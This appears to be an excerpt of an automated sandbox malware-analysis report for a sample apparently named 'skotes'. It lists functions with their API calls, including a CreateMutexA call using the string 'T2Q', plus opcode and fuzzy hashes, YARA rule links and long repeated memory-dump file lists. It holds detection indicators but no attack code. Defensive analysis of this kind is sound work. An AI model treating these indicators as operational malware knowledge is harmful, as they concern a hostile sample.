API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 3e0aa35d3c9b1b2e6117e4bff80a4b0a84a8bd310d88f1817657c9e1203971e6
Instruction ID: 6c2339ddaaa1df6c5f9edeca00d63e19428da3a38663b2c790592e30288d07fc
Opcode Fuzzy Hash: 3e0aa35d3c9b1b2e6117e4bff80a4b0a84a8bd310d88f1817657c9e1203971e6
Instruction Fuzzy Hash: 7A2179717042009BFB18AF2CDD89BADF762EBC2314F24462EE514D73D1CB7D59A1862A

Function 004BA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 7171862f62c2d2c9a32decab5eb3c01c49e18497023e1d3211b1a75c7812ca4d
Instruction ID: b16a27e0eecde57a9546529cfbd72bc4b05dbfccfde08ab49b96ae56d3292709
Opcode Fuzzy Hash: 7171862f62c2d2c9a32decab5eb3c01c49e18497023e1d3211b1a75c7812ca4d
Instruction Fuzzy Hash: B82178703482008AFB24BB69C896BFEB652DF81304F240C1BE008D67D1CB7E49A2917B

Function 004BA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 62cfadc834ebbd3f0f6d476e88e7c47e50dbcb481509a8fe33e005c3555137aa
Instruction ID: 4309155f69e957b9a86b30d30874876a9feea3c72bb7427026f476740cc56097
Opcode Fuzzy Hash: 62cfadc834ebbd3f0f6d476e88e7c47e50dbcb481509a8fe33e005c3555137aa
Instruction Fuzzy Hash: 302167717042009BEB08EF28DD85BADB7A2EB92314F24462EE414D77D0CB7D55A1823B

Function 004ED82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004EA813,00000001,00000364,00000006,000000FF,?,004EEE3F,?,00000004,00000000,?,?), ref: 004ED871

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 54f5c0305439581428f0ad79a4756741d40957ed44642a418c865ad2b9104767
Instruction ID: 01c85a67c66068e28ee4bea8d29178b0fecd3e083473222810e70576d1dc7831
Opcode Fuzzy Hash: 54f5c0305439581428f0ad79a4756741d40957ed44642a418c865ad2b9104767
Instruction Fuzzy Hash: 8AF0E931E011A466EB213B779C01A5B3759FF45373B148427EC38D7281DA38EC0182E9

Non-executed Functions

Function 004B2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 004B2F5F
GetCurrentThreadId.KERNEL32 ref: 004B2F7E
__Mtx_unlock.LIBCPMT ref: 004B2FCC
__Cnd_broadcast.LIBCPMT ref: 004B2FE3
__Mtx_unlock.LIBCPMT ref: 004B30F5
GetCurrentThreadId.KERNEL32 ref: 004B3132
__Mtx_unlock.LIBCPMT ref: 004B319B

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: c0be0ee5b5e70d1d350fcfcad522b203d6827a8a6455f17d75ff47e731f3aecd
Instruction ID: 7331f1fc97c833289c8d8c08ed8dbfb8ad186251e6baf0da91d1f0da5312b1c0
Opcode Fuzzy Hash: c0be0ee5b5e70d1d350fcfcad522b203d6827a8a6455f17d75ff47e731f3aecd
Instruction Fuzzy Hash: B2A1D274A012059FDB10DF66C944BABB7A8FF15315F04816EE819D7341EB39EA04CBA5

Function 004ECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004ECC66

Strings

vN, xrefs: 004ECBE1

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vN
API String ID: 3213747228-204482171
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 029cfba34e8025a72eba673cbd6b9b1e12e2f5d5d1f723734f9409a643b43934
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 48B112329002C59FDB158F2AC8C1BBEBBA5EF45345F2441ABE855EB341D6399D03CB68

Function 004CBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 004CBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 004CBBE4
_xtime_get.LIBCPMT ref: 004CBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 004CBC13

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
